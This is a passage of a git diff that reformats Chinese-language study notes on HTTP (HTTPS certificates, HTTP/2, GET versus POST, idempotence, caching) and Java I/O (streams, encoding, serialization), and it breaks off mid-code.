-<div align="center"> <img src="pics/How-HTTPS-Works.png" width="600"/> </div><br>
+<img src="index_files/How-HTTPS-Works.png" width="600"/>
 
-## 认证
+## 认证
 
-通过使用  **证书**  来对通信方进行认证。
+通过使用 **证书** 来对通信方进行认证。
 
-数字证书认证机构（CA，Certificate Authority）是客户端与服务器双方都可信赖的第三方机构。
+数字证书认证机构（CA，Certificate Authority）是客户端与服务器双方都可信赖的第三方机构。
 
-服务器的运营人员向 CA 提出公开密钥的申请，CA 在判明提出申请者的身份之后，会对已申请的公开密钥做数字签名，然后分配这个已签名的公开密钥，并将该公开密钥放入公开密钥证书后绑定在一起。
+服务器的运营人员向 CA 提出公开密钥的申请，CA 在判明提出申请者的身份之后，会对已申请的公开密钥做数字签名，然后分配这个已签名的公开密钥，并将该公开密钥放入公开密钥证书后绑定在一起。
 
-进行 HTTPs 通信时，服务器会把证书发送给客户端。客户端取得其中的公开密钥之后，先使用数字签名进行验证，如果验证通过，就可以开始通信了。
+进行 HTTPs 通信时，服务器会把证书发送给客户端。客户端取得其中的公开密钥之后，先使用数字签名进行验证，如果验证通过，就可以开始通信了。
 
-<div align="center"> <img src="pics/2017-06-11-ca.png" width=""/> </div><br>
+<img src="index_files/2017-06-11-ca.png" width=""/>
 
-## 完整性保护
+## 完整性保护
 
-SSL 提供报文摘要功能来进行完整性保护。
+SSL 提供报文摘要功能来进行完整性保护。
 
-HTTP 也提供了 MD5 报文摘要功能，但不是安全的。例如报文内容被篡改之后，同时重新计算 MD5 的值，通信接收方是无法意识到发生了篡改。
+HTTP 也提供了 MD5 报文摘要功能，但不是安全的。例如报文内容被篡改之后，同时重新计算 MD5 的值，通信接收方是无法意识到发生了篡改。
 
-HTTPs 的报文摘要功能之所以安全，是因为它结合了加密和认证这两个操作。试想一下，加密之后的报文，遭到篡改之后，也很难重新计算报文摘要，因为无法轻易获取明文。
+HTTPs 的报文摘要功能之所以安全，是因为它结合了加密和认证这两个操作。试想一下，加密之后的报文，遭到篡改之后，也很难重新计算报文摘要，因为无法轻易获取明文。
 
-## HTTPs 的缺点
+## HTTPs 的缺点
 
-- 因为需要进行加密解密等过程，因此速度会更慢；
-- 需要支付证书授权的高额费用。
+- 因为需要进行加密解密等过程，因此速度会更慢；
+- 需要支付证书授权的高额费用。
 
-# 七、HTTP/2.0
+# 七、HTTP/2.0
 
-## HTTP/1.x 缺陷
+## HTTP/1.x 缺陷
 
-HTTP/1.x 实现简单是以牺牲性能为代价的：
+HTTP/1.x 实现简单是以牺牲性能为代价的：
 
-- 客户端需要使用多个连接才能实现并发和缩短延迟；
-- 不会压缩请求和响应首部，从而导致不必要的网络流量；
-- 不支持有效的资源优先级，致使底层 TCP 连接的利用率低下。
+- 客户端需要使用多个连接才能实现并发和缩短延迟；
+- 不会压缩请求和响应首部，从而导致不必要的网络流量；
+- 不支持有效的资源优先级，致使底层 TCP 连接的利用率低下。
 
-## 二进制分帧层
+## 二进制分帧层
 
-HTTP/2.0 将报文分成 HEADERS 帧和 DATA 帧，它们都是二进制格式的。
+HTTP/2.0 将报文分成 HEADERS 帧和 DATA 帧，它们都是二进制格式的。
 
-<div align="center"> <img src="pics/86e6a91d-a285-447a-9345-c5484b8d0c47.png" width="400"/> </div><br>
+<img src="index_files/86e6a91d-a285-447a-9345-c5484b8d0c47.png" width="400"/>
 
-在通信过程中，只会有一个 TCP 连接存在，它承载了任意数量的双向数据流（Stream）。
+在通信过程中，只会有一个 TCP 连接存在，它承载了任意数量的双向数据流（Stream）。
 
-- 一个数据流（Stream）都有一个唯一标识符和可选的优先级信息，用于承载双向信息。
-- 消息（Message）是与逻辑请求或响应对应的完整的一系列帧。
-- 帧（Frame）是最小的通信单位，来自不同数据流的帧可以交错发送，然后再根据每个帧头的数据流标识符重新组装。
+- 一个数据流（Stream）都有一个唯一标识符和可选的优先级信息，用于承载双向信息。
+- 消息（Message）是与逻辑请求或响应对应的完整的一系列帧。
+- 帧（Frame）是最小的通信单位，来自不同数据流的帧可以交错发送，然后再根据每个帧头的数据流标识符重新组装。
 
-<div align="center"> <img src="pics/af198da1-2480-4043-b07f-a3b91a88b815.png" width="600"/> </div><br>
+<img src="index_files/af198da1-2480-4043-b07f-a3b91a88b815.png" width="600"/>
 
-## 服务端推送
+## 服务端推送
 
-HTTP/2.0 在客户端请求一个资源时，会把相关的资源一起发送给客户端，客户端就不需要再次发起请求了。例如客户端请求 page.html 页面，服务端就把 script.js 和 style.css 等与之相关的资源一起发给客户端。
+HTTP/2.0 在客户端请求一个资源时，会把相关的资源一起发送给客户端，客户端就不需要再次发起请求了。例如客户端请求 page.html 页面，服务端就把 script.js 和 style.css 等与之相关的资源一起发给客户端。
 
-<div align="center"> <img src="pics/e3f1657c-80fc-4dfa-9643-bf51abd201c6.png" width="800"/> </div><br>
+<img src="index_files/e3f1657c-80fc-4dfa-9643-bf51abd201c6.png" width="800"/>
 
-## 首部压缩
+## 首部压缩
 
-HTTP/1.1 的首部带有大量信息，而且每次都要重复发送。
+HTTP/1.1 的首部带有大量信息，而且每次都要重复发送。
 
-HTTP/2.0 要求客户端和服务器同时维护和更新一个包含之前见过的首部字段表，从而避免了重复传输。
+HTTP/2.0 要求客户端和服务器同时维护和更新一个包含之前见过的首部字段表，从而避免了重复传输。
 
-不仅如此，HTTP/2.0 也使用 Huffman 编码对首部字段进行压缩。
+不仅如此，HTTP/2.0 也使用 Huffman 编码对首部字段进行压缩。
 
-<div align="center"> <img src="pics/_u4E0B_u8F7D.png" width="600"/> </div><br>
+<img src="index_files/_u4E0B_u8F7D.png" width="600"/>
 
-# 八、HTTP/1.1 新特性
+# 八、HTTP/1.1 新特性
 
 详细内容请见上文
 
-- 默认是长连接
-- 支持流水线
-- 支持同时打开多个 TCP 连接
-- 支持虚拟主机
-- 新增状态码 100
-- 支持分块传输编码
-- 新增缓存处理指令 max-age
+- 默认是长连接
+- 支持流水线
+- 支持同时打开多个 TCP 连接
+- 支持虚拟主机
+- 新增状态码 100
+- 支持分块传输编码
+- 新增缓存处理指令 max-age
 
-# 九、GET 和 POST 比较
+# 九、GET 和 POST 比较
 
-## 作用
+## 作用
 
-GET 用于获取资源，而 POST 用于传输实体主体。
+GET 用于获取资源，而 POST 用于传输实体主体。
 
-## 参数
+## 参数
 
-GET 和 POST 的请求都能使用额外的参数，但是 GET 的参数是以查询字符串出现在 URL 中，而 POST 的参数存储在实体主体中。不能因为 POST 参数存储在实体主体中就认为它的安全性更高，因为照样可以通过一些抓包工具（Fiddler）查看。
+GET 和 POST 的请求都能使用额外的参数，但是 GET 的参数是以查询字符串出现在 URL 中，而 POST 的参数存储在实体主体中。不能因为 POST 参数存储在实体主体中就认为它的安全性更高，因为照样可以通过一些抓包工具（Fiddler）查看。
 
-因为 URL 只支持 ASCII 码，因此 GET 的参数中如果存在中文等字符就需要先进行编码。例如 `中文` 会转换为 `%E4%B8%AD%E6%96%87`，而空格会转换为 `%20`。POST 参考支持标准字符集。
+因为 URL 只支持 ASCII 码，因此 GET 的参数中如果存在中文等字符就需要先进行编码。例如 `中文` 会转换为 `%E4%B8%AD%E6%96%87`，而空格会转换为 `%20`。POST 参考支持标准字符集。
 
 ```
-GET /test/demo_form.asp?name1=value1&name2=value2 HTTP/1.1
+GET /test/demo_form.asp?name1=value1&name2=value2 HTTP/1.1
 ```
 
 ```
-POST /test/demo_form.asp HTTP/1.1
-Host: w3schools.com
+POST /test/demo_form.asp HTTP/1.1
+Host: w3schools.com
 name1=value1&name2=value2
 ```
 
-## 安全
+## 安全
 
-安全的 HTTP 方法不会改变服务器状态，也就是说它只是可读的。
+安全的 HTTP 方法不会改变服务器状态，也就是说它只是可读的。
 
-GET 方法是安全的，而 POST 却不是，因为 POST 的目的是传送实体主体内容，这个内容可能是用户上传的表单数据，上传成功之后，服务器可能把这个数据存储到数据库中，因此状态也就发生了改变。
+GET 方法是安全的，而 POST 却不是，因为 POST 的目的是传送实体主体内容，这个内容可能是用户上传的表单数据，上传成功之后，服务器可能把这个数据存储到数据库中，因此状态也就发生了改变。
 
-安全的方法除了 GET 之外还有：HEAD、OPTIONS。
+安全的方法除了 GET 之外还有：HEAD、OPTIONS。
 
-不安全的方法除了 POST 之外还有 PUT、DELETE。
+不安全的方法除了 POST 之外还有 PUT、DELETE。
 
-## 幂等性
+## 幂等性
 
-幂等的 HTTP 方法，同样的请求被执行一次与连续执行多次的效果是一样的，服务器的状态也是一样的。换句话说就是，幂等方法不应该具有副作用（统计用途除外）。
+幂等的 HTTP 方法，同样的请求被执行一次与连续执行多次的效果是一样的，服务器的状态也是一样的。换句话说就是，幂等方法不应该具有副作用（统计用途除外）。
 
 所有的安全方法也都是幂等的。
 
-在正确实现的条件下，GET，HEAD，PUT 和 DELETE 等方法都是幂等的，而 POST 方法不是。
+在正确实现的条件下，GET，HEAD，PUT 和 DELETE 等方法都是幂等的，而 POST 方法不是。
 
-GET /pageX HTTP/1.1 是幂等的，连续调用多次，客户端接收到的结果都是一样的：
+GET /pageX HTTP/1.1 是幂等的，连续调用多次，客户端接收到的结果都是一样的：
 
 ```
-GET /pageX HTTP/1.1
-GET /pageX HTTP/1.1
-GET /pageX HTTP/1.1
-GET /pageX HTTP/1.1
+GET /pageX HTTP/1.1
+GET /pageX HTTP/1.1
+GET /pageX HTTP/1.1
+GET /pageX HTTP/1.1
 ```
 
-POST /add_row HTTP/1.1 不是幂等的，如果调用多次，就会增加多行记录：
+POST /add_row HTTP/1.1 不是幂等的，如果调用多次，就会增加多行记录：
 
 ```
-POST /add_row HTTP/1.1   -> Adds a 1nd row
-POST /add_row HTTP/1.1   -> Adds a 2nd row
-POST /add_row HTTP/1.1   -> Adds a 3rd row
+POST /add_row HTTP/1.1   -> Adds a 1nd row
+POST /add_row HTTP/1.1   -> Adds a 2nd row
+POST /add_row HTTP/1.1   -> Adds a 3rd row
 ```
 
-DELETE /idX/delete HTTP/1.1 是幂等的，即便不同的请求接收到的状态码不一样：
+DELETE /idX/delete HTTP/1.1 是幂等的，即便不同的请求接收到的状态码不一样：
 
 ```
-DELETE /idX/delete HTTP/1.1   -> Returns 200 if idX exists
-DELETE /idX/delete HTTP/1.1   -> Returns 404 as it just got deleted
-DELETE /idX/delete HTTP/1.1   -> Returns 404
+DELETE /idX/delete HTTP/1.1   -> Returns 200 if idX exists
+DELETE /idX/delete HTTP/1.1   -> Returns 404 as it just got deleted
+DELETE /idX/delete HTTP/1.1   -> Returns 404
 ```
 
-## 可缓存
+## 可缓存
 
 如果要对响应进行缓存，需要满足以下条件：
 
-- 请求报文的 HTTP 方法本身是可缓存的，包括 GET 和 HEAD，但是 PUT 和 DELETE 不可缓存，POST 在多数情况下不可缓存的。
-- 响应报文的状态码是可缓存的，包括：200, 203, 204, 206, 300, 301, 404, 405, 410, 414, and 501。
-- 响应报文的 Cache-Control 首部字段没有指定不进行缓存。
+- 请求报文的 HTTP 方法本身是可缓存的，包括 GET 和 HEAD，但是 PUT 和 DELETE 不可缓存，POST 在多数情况下不可缓存的。
+- 响应报文的状态码是可缓存的，包括：200, 203, 204, 206, 300, 301, 404, 405, 410, 414, and 501。
+- 响应报文的 Cache-Control 首部字段没有指定不进行缓存。
 
-## XMLHttpRequest
+## XMLHttpRequest
 
-为了阐述 POST 和 GET 的另一个区别，需要先了解 XMLHttpRequest：
+为了阐述 POST 和 GET 的另一个区别，需要先了解 XMLHttpRequest：
 
-> XMLHttpRequest 是一个 API，它为客户端提供了在客户端和服务器之间传输数据的功能。它提供了一个通过 URL 来获取数据的简单方式，并且不会使整个页面刷新。这使得网页只更新一部分页面而不会打扰到用户。XMLHttpRequest 在 AJAX 中被大量使用。
+> XMLHttpRequest 是一个 API，它为客户端提供了在客户端和服务器之间传输数据的功能。它提供了一个通过 URL 来获取数据的简单方式，并且不会使整个页面刷新。这使得网页只更新一部分页面而不会打扰到用户。XMLHttpRequest 在 AJAX 中被大量使用。
 
-- 在使用 XMLHttpRequest 的 POST 方法时，浏览器会先发送 Header 再发送 Data。但并不是所有浏览器会这么做，例如火狐就不会。
-- 而 GET 方法 Header 和 Data 会一起发送。
+- 在使用 XMLHttpRequest 的 POST 方法时，浏览器会先发送 Header 再发送 Data。但并不是所有浏览器会这么做，例如火狐就不会。
+- 而 GET 方法 Header 和 Data 会一起发送。
 
-# 参考资料
+# 参考资料
 
-- 上野宣. 图解 HTTP[M]. 人民邮电出版社, 2014.
-- [MDN : HTTP](https://developer.mozilla.org/en-US/docs/Web/HTTP)
-- [HTTP/2 简介](https://developers.google.com/web/fundamentals/performance/http2/?hl=zh-cn)
-- [htmlspecialchars](http://php.net/manual/zh/function.htmlspecialchars.php)
-- [Difference between file URI and URL in java](http://java2db.com/java-io/how-to-get-and-the-difference-between-file-uri-and-url-in-java)
-- [How to Fix SQL Injection Using Java PreparedStatement & CallableStatement](https://software-security.sans.org/developer-how-to/fix-sql-injection-in-java-using-prepared-callable-statement)
-- [浅谈 HTTP 中 Get 与 Post 的区别](https://www.cnblogs.com/hyddd/archive/2009/03/31/1426026.html)
-- [Are http:// and www really necessary?](https://www.webdancers.com/are-http-and-www-necesary/)
-- [HTTP (HyperText Transfer Protocol)](https://www.ntu.edu.sg/home/ehchua/programming/webprogramming/HTTP_Basics.html)
-- [Web-VPN: Secure Proxies with SPDY & Chrome](https://www.igvita.com/2011/12/01/web-vpn-secure-proxies-with-spdy-chrome/)
-- [File:HTTP persistent connection.svg](http://en.wikipedia.org/wiki/File:HTTP_persistent_connection.svg)
-- [Proxy server](https://en.wikipedia.org/wiki/Proxy_server)
-- [What Is This HTTPS/SSL Thing And Why Should You Care?](https://www.x-cart.com/blog/what-is-https-and-ssl.html)
-- [What is SSL Offloading?](https://securebox.comodo.com/ssl-sniffing/ssl-offloading/)
-- [Sun Directory Server Enterprise Edition 7.0 Reference - Key Encryption](https://docs.oracle.com/cd/E19424-01/820-4811/6ng8i26bn/index.html)
-- [An Introduction to Mutual SSL Authentication](https://www.codeproject.com/Articles/326574/An-Introduction-to-Mutual-SSL-Authentication)
-- [The Difference Between URLs and URIs](https://danielmiessler.com/study/url-uri/)
-- [Cookie 与 Session 的区别](https://juejin.im/entry/5766c29d6be3ff006a31b84e#comment)
-- [COOKIE 和 SESSION 有什么区别](https://www.zhihu.com/question/19786827)
-- [Cookie/Session 的机制与安全](https://harttle.land/2015/08/10/cookie-session.html)
-- [HTTPS 证书原理](https://shijianan.com/2017/06/11/https/)
-- [What is the difference between a URI, a URL and a URN?](https://stackoverflow.com/questions/176264/what-is-the-difference-between-a-uri-a-url-and-a-urn)
-- [XMLHttpRequest](https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest)
-- [XMLHttpRequest (XHR) Uses Multiple Packets for HTTP POST?](https://blog.josephscott.org/2009/08/27/xmlhttprequest-xhr-uses-multiple-packets-for-http-post/)
-- [Symmetric vs. Asymmetric Encryption – What are differences?](https://www.ssl2buy.com/wiki/symmetric-vs-asymmetric-encryption-what-are-differences)
-- [Web 性能优化与 HTTP/2](https://www.kancloud.cn/digest/web-performance-http2)
-- [HTTP/2 简介](https://developers.google.com/web/fundamentals/performance/http2/?hl=zh-cn)
+- 上野宣. 图解 HTTP[M]. 人民邮电出版社, 2014.
+- [MDN : HTTP](https://developer.mozilla.org/en-US/docs/Web/HTTP)
+- [HTTP/2 简介](https://developers.google.com/web/fundamentals/performance/http2/?hl=zh-cn)
+- [htmlspecialchars](http://php.net/manual/zh/function.htmlspecialchars.php)
+- [Difference between file URI and URL in java](http://java2db.com/java-io/how-to-get-and-the-difference-between-file-uri-and-url-in-java)
+- [How to Fix SQL Injection Using Java PreparedStatement & CallableStatement](https://software-security.sans.org/developer-how-to/fix-sql-injection-in-java-using-prepared-callable-statement)
+- [浅谈 HTTP 中 Get 与 Post 的区别](https://www.cnblogs.com/hyddd/archive/2009/03/31/1426026.html)
+- [Are http:// and www really necessary?](https://www.webdancers.com/are-http-and-www-necesary/)
+- [HTTP (HyperText Transfer Protocol)](https://www.ntu.edu.sg/home/ehchua/programming/webprogramming/HTTP_Basics.html)
+- [Web-VPN: Secure Proxies with SPDY & Chrome](https://www.igvita.com/2011/12/01/web-vpn-secure-proxies-with-spdy-chrome/)
+- [File:HTTP persistent connection.svg](http://en.wikipedia.org/wiki/File:HTTP_persistent_connection.svg)
+- [Proxy server](https://en.wikipedia.org/wiki/Proxy_server)
+- [What Is This HTTPS/SSL Thing And Why Should You Care?](https://www.x-cart.com/blog/what-is-https-and-ssl.html)
+- [What is SSL Offloading?](https://securebox.comodo.com/ssl-sniffing/ssl-offloading/)
+- [Sun Directory Server Enterprise Edition 7.0 Reference - Key Encryption](https://docs.oracle.com/cd/E19424-01/820-4811/6ng8i26bn/index.html)
+- [An Introduction to Mutual SSL Authentication](https://www.codeproject.com/Articles/326574/An-Introduction-to-Mutual-SSL-Authentication)
+- [The Difference Between URLs and URIs](https://danielmiessler.com/study/url-uri/)
+- [Cookie 与 Session 的区别](https://juejin.im/entry/5766c29d6be3ff006a31b84e#comment)
+- [COOKIE 和 SESSION 有什么区别](https://www.zhihu.com/question/19786827)
+- [Cookie/Session 的机制与安全](https://harttle.land/2015/08/10/cookie-session.html)
+- [HTTPS 证书原理](https://shijianan.com/2017/06/11/https/)
+- [What is the difference between a URI, a URL and a URN?](https://stackoverflow.com/questions/176264/what-is-the-difference-between-a-uri-a-url-and-a-urn)
+- [XMLHttpRequest](https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest)
+- [XMLHttpRequest (XHR) Uses Multiple Packets for HTTP POST?](https://blog.josephscott.org/2009/08/27/xmlhttprequest-xhr-uses-multiple-packets-for-http-post/)
+- [Symmetric vs. Asymmetric Encryption – What are differences?](https://www.ssl2buy.com/wiki/symmetric-vs-asymmetric-encryption-what-are-differences)
+- [Web 性能优化与 HTTP/2](https://www.kancloud.cn/digest/web-performance-http2)
+- [HTTP/2 简介](https://developers.google.com/web/fundamentals/performance/http2/?hl=zh-cn)
+---bottom---CyC---
+![](index_files/766d401b-3cf6-475c-8ced-ea8c8db8edc5.png)
+![](index_files/HTTP_RequestMessageExample.png)
+![](index_files/HTTP_ResponseMessageExample.png)
+![](index_files/dc00f70e-c5c8-4d20-baf1-2d70014a97e3.jpg)
+![](index_files/HTTP1_x_Connections.png)
+![](index_files/a314bb79-5b18-4e63-a976-3448bffa6f1b.png)
+![](index_files/2d09a847-b854-439c-9198-b29c65810944.png)
+![](index_files/ssl-offloading.jpg)
+![](index_files/7fffa4b8-b36d-471f-ad0c-a88ee763bb76.png)
+![](index_files/39ccb299-ee99-4dd1-b8b4-2f9ec9495cb4.png)
+![](index_files/How-HTTPS-Works.png)
+![](index_files/2017-06-11-ca.png)
+![](index_files/86e6a91d-a285-447a-9345-c5484b8d0c47.png)
+![](index_files/af198da1-2480-4043-b07f-a3b91a88b815.png)
+![](index_files/e3f1657c-80fc-4dfa-9643-bf51abd201c6.png)
+![](index_files/_u4E0B_u8F7D.png)
diff --git a/docs/notes/Java IO.md b/docs/notes/Java IO.md
index f0ae70c0..47c0e06d 100644
--- a/docs/notes/Java IO.md	
+++ b/docs/notes/Java IO.md	
@@ -1,320 +1,286 @@
-[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
-<!-- GFM-TOC -->
-* [一、概览](#一概览)
-* [二、磁盘操作](#二磁盘操作)
-* [三、字节操作](#三字节操作)
-    * [实现文件复制](#实现文件复制)
-    * [装饰者模式](#装饰者模式)
-* [四、字符操作](#四字符操作)
-    * [编码与解码](#编码与解码)
-    * [String 的编码方式](#string-的编码方式)
-    * [Reader 与 Writer](#reader-与-writer)
-    * [实现逐行输出文本文件的内容](#实现逐行输出文本文件的内容)
-* [五、对象操作](#五对象操作)
-    * [序列化](#序列化)
-    * [Serializable](#serializable)
-    * [transient](#transient)
-* [六、网络操作](#六网络操作)
-    * [InetAddress](#inetaddress)
-    * [URL](#url)
-    * [Sockets](#sockets)
-    * [Datagram](#datagram)
-* [七、NIO](#七nio)
-    * [流与块](#流与块)
-    * [通道与缓冲区](#通道与缓冲区)
-    * [缓冲区状态变量](#缓冲区状态变量)
-    * [文件 NIO 实例](#文件-nio-实例)
-    * [选择器](#选择器)
-    * [套接字 NIO 实例](#套接字-nio-实例)
-    * [内存映射文件](#内存映射文件)
-    * [对比](#对比)
-* [八、参考资料](#八参考资料)
-<!-- GFM-TOC -->
+# 一、概览
 
+Java 的 I/O 大概可以分成以下几类：
 
-# 一、概览
+- 磁盘操作：File
+- 字节操作：InputStream 和 OutputStream
+- 字符操作：Reader 和 Writer
+- 对象操作：Serializable
+- 网络操作：Socket
+- 新的输入/输出：NIO
 
-Java 的 I/O 大概可以分成以下几类：
+# 二、磁盘操作
 
-- 磁盘操作：File
-- 字节操作：InputStream 和 OutputStream
-- 字符操作：Reader 和 Writer
-- 对象操作：Serializable
-- 网络操作：Socket
-- 新的输入/输出：NIO
-
-# 二、磁盘操作
-
-File 类可以用于表示文件和目录的信息，但是它不表示文件的内容。
+File 类可以用于表示文件和目录的信息，但是它不表示文件的内容。
 
 递归地列出一个目录下所有文件：
 
 ```java
-public static void listAllFiles(File dir) {
-    if (dir == null || !dir.exists()) {
-        return;
-    }
-    if (dir.isFile()) {
-        System.out.println(dir.getName());
-        return;
-    }
-    for (File file : dir.listFiles()) {
-        listAllFiles(file);
-    }
+public static void listAllFiles(File dir) {
+    if (dir == null || !dir.exists()) {
+        return;
+    }
+    if (dir.isFile()) {
+        System.out.println(dir.getName());
+        return;
+    }
+    for (File file : dir.listFiles()) {
+        listAllFiles(file);
+    }
 }
 ```
 
-从 Java7 开始，可以使用 Paths 和 Files 代替 File。
+从 Java7 开始，可以使用 Paths 和 Files 代替 File。
 
-# 三、字节操作
+# 三、字节操作
 
-## 实现文件复制
+## 实现文件复制
 
 ```java
-public static void copyFile(String src, String dist) throws IOException {
-    FileInputStream in = new FileInputStream(src);
-    FileOutputStream out = new FileOutputStream(dist);
+public static void copyFile(String src, String dist) throws IOException {
+    FileInputStream in = new FileInputStream(src);
+    FileOutputStream out = new FileOutputStream(dist);
 
-    byte[] buffer = new byte[20 * 1024];
-    int cnt;
+    byte[] buffer = new byte[20 * 1024];
+    int cnt;
 
-    // read() 最多读取 buffer.length 个字节
-    // 返回的是实际读取的个数
-    // 返回 -1 的时候表示读到 eof，即文件尾
-    while ((cnt = in.read(buffer, 0, buffer.length)) != -1) {
-        out.write(buffer, 0, cnt);
-    }
+    // read() 最多读取 buffer.length 个字节
+    // 返回的是实际读取的个数
+    // 返回 -1 的时候表示读到 eof，即文件尾
+    while ((cnt = in.read(buffer, 0, buffer.length)) != -1) {
+        out.write(buffer, 0, cnt);
+    }
 
-    in.close();
-    out.close();
+    in.close();
+    out.close();
 }
 ```
 
-## 装饰者模式
+## 装饰者模式
 
-Java I/O 使用了装饰者模式来实现。以 InputStream 为例，
+Java I/O 使用了装饰者模式来实现。以 InputStream 为例，
 
-- InputStream 是抽象组件；
-- FileInputStream 是 InputStream 的子类，属于具体组件，提供了字节流的输入操作；
-- FilterInputStream 属于抽象装饰者，装饰者用于装饰组件，为组件提供额外的功能。例如 BufferedInputStream 为 FileInputStream 提供缓存的功能。
+- InputStream 是抽象组件；
+- FileInputStream 是 InputStream 的子类，属于具体组件，提供了字节流的输入操作；
+- FilterInputStream 属于抽象装饰者，装饰者用于装饰组件，为组件提供额外的功能。例如 BufferedInputStream 为 FileInputStream 提供缓存的功能。
 
-<div align="center"> <img src="pics/DP-Decorator-java.io.png" width="500"/> </div><br>
+<img src="index_files/DP-Decorator-java.io.png" width="500"/>
 
-实例化一个具有缓存功能的字节流对象时，只需要在 FileInputStream 对象上再套一层 BufferedInputStream 对象即可。
+实例化一个具有缓存功能的字节流对象时，只需要在 FileInputStream 对象上再套一层 BufferedInputStream 对象即可。
 
 ```java
-FileInputStream fileInputStream = new FileInputStream(filePath);
-BufferedInputStream bufferedInputStream = new BufferedInputStream(fileInputStream);
+FileInputStream fileInputStream = new FileInputStream(filePath);
+BufferedInputStream bufferedInputStream = new BufferedInputStream(fileInputStream);
 ```
 
-DataInputStream 装饰者提供了对更多数据类型进行输入的操作，比如 int、double 等基本类型。
+DataInputStream 装饰者提供了对更多数据类型进行输入的操作，比如 int、double 等基本类型。
 
-# 四、字符操作
+# 四、字符操作
 
-## 编码与解码
+## 编码与解码
 
 编码就是把字符转换为字节，而解码是把字节重新组合成字符。
 
 如果编码和解码过程使用不同的编码方式那么就出现了乱码。
 
-- GBK 编码中，中文字符占 2 个字节，英文字符占 1 个字节；
-- UTF-8 编码中，中文字符占 3 个字节，英文字符占 1 个字节；
-- UTF-16be 编码中，中文字符和英文字符都占 2 个字节。
+- GBK 编码中，中文字符占 2 个字节，英文字符占 1 个字节；
+- UTF-8 编码中，中文字符占 3 个字节，英文字符占 1 个字节；
+- UTF-16be 编码中，中文字符和英文字符都占 2 个字节。
 
-UTF-16be 中的 be 指的是 Big Endian，也就是大端。相应地也有 UTF-16le，le 指的是 Little Endian，也就是小端。
+UTF-16be 中的 be 指的是 Big Endian，也就是大端。相应地也有 UTF-16le，le 指的是 Little Endian，也就是小端。
 
-Java 的内存编码使用双字节编码 UTF-16be，这不是指 Java 只支持这一种编码方式，而是说 char 这种类型使用 UTF-16be 进行编码。char 类型占 16 位，也就是两个字节，Java 使用这种双字节编码是为了让一个中文或者一个英文都能使用一个 char 来存储。
+Java 的内存编码使用双字节编码 UTF-16be，这不是指 Java 只支持这一种编码方式，而是说 char 这种类型使用 UTF-16be 进行编码。char 类型占 16 位，也就是两个字节，Java 使用这种双字节编码是为了让一个中文或者一个英文都能使用一个 char 来存储。
 
-## String 的编码方式
+## String 的编码方式
 
-String 可以看成一个字符序列，可以指定一个编码方式将它编码为字节序列，也可以指定一个编码方式将一个字节序列解码为 String。
+String 可以看成一个字符序列，可以指定一个编码方式将它编码为字节序列，也可以指定一个编码方式将一个字节序列解码为 String。
 
 ```java
-String str1 = "中文";
-byte[] bytes = str1.getBytes("UTF-8");
-String str2 = new String(bytes, "UTF-8");
+String str1 = "中文";
+byte[] bytes = str1.getBytes("UTF-8");
+String str2 = new String(bytes, "UTF-8");
 System.out.println(str2);
 ```
 
-在调用无参数 getBytes() 方法时，默认的编码方式不是 UTF-16be。双字节编码的好处是可以使用一个 char 存储中文和英文，而将 String 转为 bytes[] 字节数组就不再需要这个好处，因此也就不再需要双字节编码。getBytes() 的默认编码方式与平台有关，一般为 UTF-8。
+在调用无参数 getBytes() 方法时，默认的编码方式不是 UTF-16be。双字节编码的好处是可以使用一个 char 存储中文和英文，而将 String 转为 bytes[] 字节数组就不再需要这个好处，因此也就不再需要双字节编码。getBytes() 的默认编码方式与平台有关，一般为 UTF-8。
 
 ```java
-byte[] bytes = str1.getBytes();
+byte[] bytes = str1.getBytes();
 ```
 
-## Reader 与 Writer
+## Reader 与 Writer
 
 不管是磁盘还是网络传输，最小的存储单元都是字节，而不是字符。但是在程序中操作的通常是字符形式的数据，因此需要提供对字符进行操作的方法。
 
-- InputStreamReader 实现从字节流解码成字符流；
-- OutputStreamWriter 实现字符流编码成为字节流。
+- InputStreamReader 实现从字节流解码成字符流；
+- OutputStreamWriter 实现字符流编码成为字节流。
 
-## 实现逐行输出文本文件的内容
+## 实现逐行输出文本文件的内容
 
 ```java
-public static void readFileContent(String filePath) throws IOException {
+public static void readFileContent(String filePath) throws IOException {
 
-    FileReader fileReader = new FileReader(filePath);
-    BufferedReader bufferedReader = new BufferedReader(fileReader);
+    FileReader fileReader = new FileReader(filePath);
+    BufferedReader bufferedReader = new BufferedReader(fileReader);
 
-    String line;
-    while ((line = bufferedReader.readLine()) != null) {
-        System.out.println(line);
-    }
+    String line;
+    while ((line = bufferedReader.readLine()) != null) {
+        System.out.println(line);
+    }
 
-    // 装饰者模式使得 BufferedReader 组合了一个 Reader 对象
-    // 在调用 BufferedReader 的 close() 方法时会去调用 Reader 的 close() 方法
-    // 因此只要一个 close() 调用即可
-    bufferedReader.close();
+    // 装饰者模式使得 BufferedReader 组合了一个 Reader 对象
+    // 在调用 BufferedReader 的 close() 方法时会去调用 Reader 的 close() 方法
+    // 因此只要一个 close() 调用即可
+    bufferedReader.close();
 }
 ```
 
-# 五、对象操作
+# 五、对象操作
 
-## 序列化
+## 序列化
 
 序列化就是将一个对象转换成字节序列，方便存储和传输。
 
-- 序列化：ObjectOutputStream.writeObject()
-- 反序列化：ObjectInputStream.readObject()
+- 序列化：ObjectOutputStream.writeObject()
+- 反序列化：ObjectInputStream.readObject()
 
 不会对静态变量进行序列化，因为序列化只是保存对象的状态，静态变量属于类的状态。
 
-## Serializable
+## Serializable
 
-序列化的类需要实现 Serializable 接口，它只是一个标准，没有任何方法需要实现，但是如果不去实现它的话而进行序列化，会抛出异常。
+序列化的类需要实现 Serializable 接口，它只是一个标准，没有任何方法需要实现，但是如果不去实现它的话而进行序列化，会抛出异常。
 
 ```java
-public static void main(String[] args) throws IOException, ClassNotFoundException {
+public static void main(String[] args) throws IOException, ClassNotFoundException {
 
-    A a1 = new A(123, "abc");
-    String objectFile = "file/a1";
+    A a1 = new A(123, "abc");
+    String objectFile = "file/a1";
 
-    ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(objectFile));
-    objectOutputStream.writeObject(a1);
-    objectOutputStream.close();
+    ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(objectFile));
+    objectOutputStream.writeObject(a1);
+    objectOutputStream.close();
 
-    ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(objectFile));
-    A a2 = (A) objectInputStream.readObject();
-    objectInputStream.close();
-    System.out.println(a2);
+    ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(objectFile));
